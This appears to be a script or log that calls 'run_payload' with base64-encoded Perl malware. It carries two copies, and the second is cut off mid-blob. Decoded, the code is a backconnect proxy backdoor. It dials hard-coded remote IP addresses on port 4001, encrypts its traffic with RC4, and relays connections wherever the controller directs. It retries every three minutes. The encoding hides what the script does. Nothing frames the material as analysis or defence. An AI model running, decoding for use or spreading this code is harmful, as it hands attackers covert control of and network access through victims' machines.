run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTUyJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_40.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTgyJzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU